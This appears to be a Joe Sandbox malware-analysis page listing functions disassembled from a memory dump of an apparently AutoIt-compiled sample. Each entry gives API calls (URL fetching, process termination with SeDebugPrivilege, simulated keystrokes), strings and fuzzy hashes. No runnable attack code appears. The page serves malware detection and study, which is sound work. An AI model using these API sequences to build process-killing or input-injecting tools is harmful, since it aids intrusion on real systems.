Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: c8428015ffaaec29e377c0aa89222f7f83f7cc84df94917f896094817c12f388
Instruction ID: ced816e467d269a8bf2cca62d787d12f257d15ca86d9773ddd89090cdb0e4a75
Opcode Fuzzy Hash: c8428015ffaaec29e377c0aa89222f7f83f7cc84df94917f896094817c12f388
Instruction Fuzzy Hash: 4371CD30400A05EFCF218F64C984ABA3BF5FF4A360F1442E9E9565B2A6D7789C41DF60

Function 00B9359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 00B935E4

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

LoadStringW.USER32(00BF2390,?,00000FFF,?), ref: 00B9360A

Strings

Error: , xrefs: 00B936EF
"%s" (%d) : ==> %s:%s%s, xrefs: 00B93724
^ ERROR, xrefs: 00B936C9
Line %d (File "%s"):, xrefs: 00B9366B
"%s" (%d) : ==> %s:, xrefs: 00B93742

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: b0a3e61cb87ed9154a97bd0fdd935d6a4b7ea1bae34e0f8b17ea2bbcd7d43fce
Instruction ID: 3b95df159a61f1a3153312da8a0bb305535eaa82ed3f95de150a40e04269d134
Opcode Fuzzy Hash: b0a3e61cb87ed9154a97bd0fdd935d6a4b7ea1bae34e0f8b17ea2bbcd7d43fce
Instruction Fuzzy Hash: 19515C7180021ABBCF15EBA0DC42EEDBBF8EF14740F1845A5F109721A1EB311A98DBA4

Function 00B9C253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00B9C272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B9C29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00B9C2CA
GetLastError.KERNEL32 ref: 00B9C322
SetEvent.KERNEL32(?), ref: 00B9C336
InternetCloseHandle.WININET(00000000), ref: 00B9C341

Strings

, xrefs: 00B9C2BB

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 8c9e22ae65a5ff9f2b5d9df8f484179f212585e37a13ed58a46bb5fb906eb591
Instruction ID: 549a6173be1bec46f6042967e033a5a81a522cd068d50a7a48f9d24fef2b02d9
Opcode Fuzzy Hash: 8c9e22ae65a5ff9f2b5d9df8f484179f212585e37a13ed58a46bb5fb906eb591
Instruction Fuzzy Hash: F4317AB1604608AFDB21DFA58C88AAB7FFCEB49744B10866EF48693200DB70DD049B65

Function 00B8989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00B63AAF,?,?,Bad directive syntax error,00BBCC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 00B898BC
LoadStringW.USER32(00000000,?,00B63AAF,?), ref: 00B898C3

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00B89987

Strings

Line %d:, xrefs: 00B89912
%s (%d) : ==> %s.: %s %s, xrefs: 00B898F1
., xrefs: 00B8996D
Line %d (File "%s"):, xrefs: 00B8992D
Error: , xrefs: 00B89955

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 386f1a58104b2ab1f8985d4f68528d3e760fb66120a10b9e5a50cef351baec39
Instruction ID: 105021a613c21dc1ca7b89ca563a5015616533822b86c3b7c1af11e25d70a626
Opcode Fuzzy Hash: 386f1a58104b2ab1f8985d4f68528d3e760fb66120a10b9e5a50cef351baec39
Instruction Fuzzy Hash: 8C215E31C0021AABCF15EF90DC06EFE77B5FF28740F0848A5F519660A2EB759A58DB50

Function 00B8209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00B820AB
GetClassNameW.USER32(00000000,?,00000100), ref: 00B820C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00B8214D

Strings

SHELLDLL_DefView, xrefs: 00B820CC
largeicons, xrefs: 00B820E1
details, xrefs: 00B820FB
smallicons, xrefs: 00B82115
list, xrefs: 00B8212F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 69ed6a6cb728dd5e4c725126b0852041ab93e7155b19a623931871a16062d1f2
Instruction ID: 211875cd1a2a00ec0279f4a578dacde9bbbb9b222821b1f49c60699a78635d41
Opcode Fuzzy Hash: 69ed6a6cb728dd5e4c725126b0852041ab93e7155b19a623931871a16062d1f2
Instruction Fuzzy Hash: 8A110676688706BAFA117731DC0ADA637DCDB04328B3001E6FB05B60F1FFA1A911A715

Function 00B58D45 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30becefb4b1f8e1227fce567c417b99b9a09db833e84dfd4626be47252c22b17
Instruction ID: 99a4dbd513cf00533d5ba36642f6b62dc6289091e9305379ef18fb436fde4a09
Opcode Fuzzy Hash: 30becefb4b1f8e1227fce567c417b99b9a09db833e84dfd4626be47252c22b17
Instruction Fuzzy Hash: 54C1BE74904249EFDF11EFA8C885BADBBF0AF09311F0845D9F915A7392CB709A49CB61

Function 00B5CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00B5CEB7
_free.LIBCMT ref: 00B5CF22
_free.LIBCMT ref: 00B5CF48
_free.LIBCMT ref: 00B5CF71
_free.LIBCMT ref: 00B5CFA9
_free.LIBCMT ref: 00B5CFDA
_free.LIBCMT ref: 00B5D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 00B5D09C
_free.LIBCMT ref: 00B5D0B5

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 31712fe890aec1f2695a2d924bd8fb8647ed625ae5f8879f49599f1f6b62408a
Instruction ID: 2b308f0447c8200690cbc9ba124354438ea14c67239b906bdf6283a70b9660b5
Opcode Fuzzy Hash: 31712fe890aec1f2695a2d924bd8fb8647ed625ae5f8879f49599f1f6b62408a
Instruction Fuzzy Hash: 5261E371905311AFDB21AFB89891BAA7FE6EF05312F0442FDFD44A7292DA31990DC790

Function 00BB50D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00BB5186
ShowWindow.USER32(?,00000000), ref: 00BB51C7
ShowWindow.USER32(?,00000005,?,00000000), ref: 00BB51CD
SetFocus.USER32(?,?,00000005,?,00000000), ref: 00BB51D1

Part of subcall function 00BB6FBA: DeleteObject.GDI32(00000000), ref: 00BB6FE6

GetWindowLongW.USER32(?,000000F0), ref: 00BB520D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00BB521A
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00BB524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00BB5287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00BB5296

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: aeb300e909d375ac79fb3729cea8c56b9d926a68551a58abe01483f5cd8db2fd
Instruction ID: f579e7ddb16e68e66d12e8a7fda3de5fca6ce8034b0478cff43ac696525a16ba
Opcode Fuzzy Hash: aeb300e909d375ac79fb3729cea8c56b9d926a68551a58abe01483f5cd8db2fd
Instruction Fuzzy Hash: 0C517130A52A08BFEF349F28DC46BF93BE5EB05321F144192F515A62E0C7F5A990DB42

Function 00B38B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00B76890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 00B768A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00B768B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00B768D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00B768F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00B38874,00000000,00000000,00000000,000000FF,00000000), ref: 00B76901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00B7691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00B38874,00000000,00000000,00000000,000000FF,00000000), ref: 00B7692D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 1788d74199250dac05a78af3498d74055207416b2e3584753e41a5e4c54618cf
Instruction ID: f1d132fe926b67ed00dae8023c9b8e18535708feb6d2157e90ab0a33bd721019
Opcode Fuzzy Hash: 1788d74199250dac05a78af3498d74055207416b2e3584753e41a5e4c54618cf
Instruction Fuzzy Hash: DB517A7060070AEFDB20CF24CC95FAA7BF5EB58750F208658F956972A0EBB1E950DB50

Function 00B9C143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00B9C182
GetLastError.KERNEL32 ref: 00B9C195
SetEvent.KERNEL32(?), ref: 00B9C1A9

Part of subcall function 00B9C253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00B9C272
Part of subcall function 00B9C253: GetLastError.KERNEL32 ref: 00B9C322
Part of subcall function 00B9C253: SetEvent.KERNEL32(?), ref: 00B9C336
Part of subcall function 00B9C253: InternetCloseHandle.WININET(00000000), ref: 00B9C341

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 8642427f0eaa91e8c242ea2d06bbb99c74490b54a863a86bc44394763786a92d
Instruction ID: ba66bf3cbcc726ac8e8ba06bfa36e51b2cc4c38f484e0f925b2029fa4fb6c975
Opcode Fuzzy Hash: 8642427f0eaa91e8c242ea2d06bbb99c74490b54a863a86bc44394763786a92d
Instruction Fuzzy Hash: 52319A71200701AFDF219FA5DC44A6ABFF8FF58300B10856EF95A83610DB70E814EBA0

Function 00B825A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B83A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B83A57
Part of subcall function 00B83A3D: GetCurrentThreadId.KERNEL32 ref: 00B83A5E
Part of subcall function 00B83A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00B825B3), ref: 00B83A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 00B825BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00B825DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00B825DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 00B825E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00B82601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00B82605
MapVirtualKeyW.USER32(00000025,00000000), ref: 00B8260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00B82623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00B82627

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 33e2c5761a6d93bb064a9caba81b2b91c0dbb3e6f07b9d7d45af079ac777dc42
Instruction ID: 6c21ef0dcaa6204386ebbbf7965e335af039c3efb6a7ee5d49d5d26b6906205b
Opcode Fuzzy Hash: 33e2c5761a6d93bb064a9caba81b2b91c0dbb3e6f07b9d7d45af079ac777dc42
Instruction Fuzzy Hash: 4A01B170290210BBFB10A7689C8AF593F99DB4EB12F200102F358BF0E1CDF22444CA69

Function 00B81803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00B81449,?,?,00000000), ref: 00B8180C
HeapAlloc.KERNEL32(00000000,?,00B81449,?,?,00000000), ref: 00B81813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00B81449,?,?,00000000), ref: 00B81828
GetCurrentProcess.KERNEL32(?,00000000,?,00B81449,?,?,00000000), ref: 00B81830
DuplicateHandle.KERNEL32(00000000,?,00B81449,?,?,00000000), ref: 00B81833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00B81449,?,?,00000000), ref: 00B81843
GetCurrentProcess.KERNEL32(00B81449,00000000,?,00B81449,?,?,00000000), ref: 00B8184B
DuplicateHandle.KERNEL32(00000000,?,00B81449,?,?,00000000), ref: 00B8184E
CreateThread.KERNEL32(00000000,00000000,00B81874,00000000,00000000,00000000), ref: 00B81868

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: ad922dcf56941f90757f78b3db74ddc90940831c81337fffdafd85af28db2f66
Instruction ID: 6dd34e7f8cde7bf0518d5d52d206f0fbb5e846776c428c234f3a66b3b5d96853
Opcode Fuzzy Hash: ad922dcf56941f90757f78b3db74ddc90940831c81337fffdafd85af28db2f66
Instruction Fuzzy Hash: 1501ACB5240304BFE610EFA9DC49F573BACEB89B11F504511FA05EB1A1CAB0D800CB20

Function 00BAA0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00B8D4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 00B8D501
Part of subcall function 00B8D4DC: Process32FirstW.KERNEL32(00000000,?), ref: 00B8D50F
Part of subcall function 00B8D4DC: CloseHandle.KERNEL32(00000000), ref: 00B8D5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00BAA16D
GetLastError.KERNEL32 ref: 00BAA180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00BAA1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 00BAA268
GetLastError.KERNEL32(00000000), ref: 00BAA273
CloseHandle.KERNEL32(00000000), ref: 00BAA2C4

Strings

SeDebugPrivilege, xrefs: 00BAA18F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 1f8fe8e31967ca35fc418d986435918a527e7817fdc5737bdbaddb21e5400666
Instruction ID: 77c4e47545413b1ca29e799248acaaf0b952de25c33a85771ff1918fa1d5ad7b
Opcode Fuzzy Hash: 1f8fe8e31967ca35fc418d986435918a527e7817fdc5737bdbaddb21e5400666
Instruction Fuzzy Hash: 86616C70208242AFD720DF18C494F1ABBE5AF45318F1484DCE45A5B7A2C772EC49CBA2

Function 00BB3886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00BB3925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00BB393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00BB3954
_wcslen.LIBCMT ref: 00BB3999
SendMessageW.USER32(?,00001057,00000000,?), ref: 00BB39C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00BB39F4

Strings

SysListView32, xrefs: 00BB38F7

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: bdeef60e1ad57ad9573aa9176ce9debe5cd2fc4d9dc1e9106fc17544bb26ac84
Instruction ID: ab9badc86333706df34851332cacbf6bb249a2fb6b35d51ecb14141f2a598e33
Opcode Fuzzy Hash: bdeef60e1ad57ad9573aa9176ce9debe5cd2fc4d9dc1e9106fc17544bb26ac84
Instruction Fuzzy Hash: AF41A471A00218ABEB21DF64CC45FFA7BE9EF08750F1005A6F559E7291D7B19A80CB90

Function 00B8BC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B8BCFD
IsMenu.USER32(00000000), ref: 00B8BD1D
CreatePopupMenu.USER32 ref: 00B8BD53
GetMenuItemCount.USER32(01095928), ref: 00B8BDA4
InsertMenuItemW.USER32(01095928,?,00000001,00000030), ref: 00B8BDCC

Strings

0, xrefs: 00B8BCA8
2, xrefs: 00B8BD37

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 281ef865c5d3865fb0a3761657714670ef7dff2bfefb2561d24b049893b73cad
Instruction ID: 7f99dc5b161edc0e5e095b70dd63342f64dbebb209aef3f44d19cea07708d722
Opcode Fuzzy Hash: 281ef865c5d3865fb0a3761657714670ef7dff2bfefb2561d24b049893b73cad
Instruction Fuzzy Hash: 08518C70A00205EBDB20EFB8D884FAEBBF4EF55314F1446A9E851A72B1D7709945CB61

Function 00B8C874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00B8C913

Strings

warning, xrefs: 00B8C8FC
stop, xrefs: 00B8C8E4
info, xrefs: 00B8C8B4
blank, xrefs: 00B8C895
question, xrefs: 00B8C8CC

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

